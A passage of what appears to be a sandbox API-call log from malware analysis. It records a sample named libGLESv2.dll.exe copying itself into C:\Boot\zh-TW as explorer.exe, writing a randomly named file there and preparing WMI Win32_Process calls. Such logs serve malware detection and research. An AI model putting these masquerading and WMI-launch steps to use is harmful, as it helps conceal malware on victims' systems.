ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0115.673] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a693cf, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a693cf, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0115.673] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a693cf, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78a8f7b9, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78a8f7b9, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0115.673] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78a8f7b9, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0115.673] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0115.673] FindNextFileW (in: hFindFile=0x1b48f3d0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.673] FindClose (in: hFindFile=0x1b48f3d0 | out: hFindFile=0x1b48f3d0) returned 1 [0115.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0115.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0115.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0115.674] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0115.674] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*" (normalized: "c:\\boot\\zh-tw\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48fb50 [0115.675] FindNextFileW (in: hFindFile=0x1b48fb50, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78ab5a49, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.676] FindNextFileW (in: hFindFile=0x1b48fb50, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.676] FindNextFileW (in: hFindFile=0x1b48fb50, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa560, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.676] FindNextFileW (in: hFindFile=0x1b48fb50, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ab5a49, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa560, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.676] FindClose (in: hFindFile=0x1b48fb50 | out: hFindFile=0x1b48fb50) returned 1 [0115.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0115.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0115.678] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe", lpFilePart=0x0) returned 0x2f [0115.679] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\explorer.exe", nBufferLength=0x105, lpBuffer=0x1b30d5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\explorer.exe", lpFilePart=0x0) returned 0x1a [0115.679] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe"), lpNewFileName="C:\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe"), bFailIfExists=0) returned 1 [0116.168] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\7a0fd90576e088", nBufferLength=0x105, lpBuffer=0x1b30d3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\7a0fd90576e088", lpFilePart=0x0) returned 0x1c [0116.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30d8d0) returned 1 [0116.168] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\7a0fd90576e088" (normalized: "c:\\boot\\zh-tw\\7a0fd90576e088"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x490 [0116.170] GetFileType (hFile=0x490) returned 0x1 [0116.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d840) returned 1 [0116.170] GetFileType (hFile=0x490) returned 0x1 [0116.170] WriteFile (in: hFile=0x490, lpBuffer=0x2750828*, nNumberOfBytesToWrite=0x257, lpNumberOfBytesWritten=0x1b30d908, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesWritten=0x1b30d908*=0x257, lpOverlapped=0x0) returned 1 [0116.171] CloseHandle (hObject=0x490) returned 1 [0116.172] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0116.173] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0116.173] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0116.173] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.173] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b48b1d0) returned 0x0 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b1d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0116.174] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b1d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x656330) returned 0x0 [0116.174] WbemDefPath:IUnknown:Release (This=0x1b48b1d0) returned 0x0 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x656330) returned 0x0 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0116.174] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b48b310) returned 0x0 [0116.174] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b310, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.174] WbemDefPath:IUnknown:Release (This=0x1b48b310) returned 0x3 [0116.174] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0116.174] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0116.174] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0116.174] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0116.175] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0116.175] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0116.175] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0116.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656330) returned 0x0 [0116.175] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0116.175] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0116.175] WbemDefPath:IWbemPath:SetText (This=0x656330, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0116.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.175] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0116.175] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0116.175] WbemDefPath:IWbemPath:GetInfo (in: This=0x656330, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.175] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.175] WbemDefPath:IWbemPath:GetInfo (in: This=0x656330, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.175] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0116.175] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0116.175] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0116.175] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.213] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b48b350) returned 0x0 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b350, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0116.214] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b350, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x655c70) returned 0x0 [0116.214] WbemDefPath:IUnknown:Release (This=0x1b48b350) returned 0x0 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x655c70) returned 0x0 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0116.214] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b48b3b0) returned 0x0 [0116.214] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b3b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.214] WbemDefPath:IUnknown:Release (This=0x1b48b3b0) returned 0x3 [0116.214] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0116.214] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0116.214] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0116.214] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0116.215] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0116.215] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0116.215] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0116.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x655c70, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x655c70) returned 0x0 [0116.215] WbemDefPath:IUnknown:AddRef (This=0x655c70) returned 0x3 [0116.215] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x2 [0116.215] WbemDefPath:IWbemPath:SetText (This=0x655c70, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetInfo (in: This=0x655c70, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetInfo (in: This=0x655c70, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0116.215] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0116.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0116.216] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0116.216] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.216] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0116.216] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0116.216] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0116.216] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.217] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b48b4b0) returned 0x0 [0116.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48b4b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0116.217] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48b4b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, 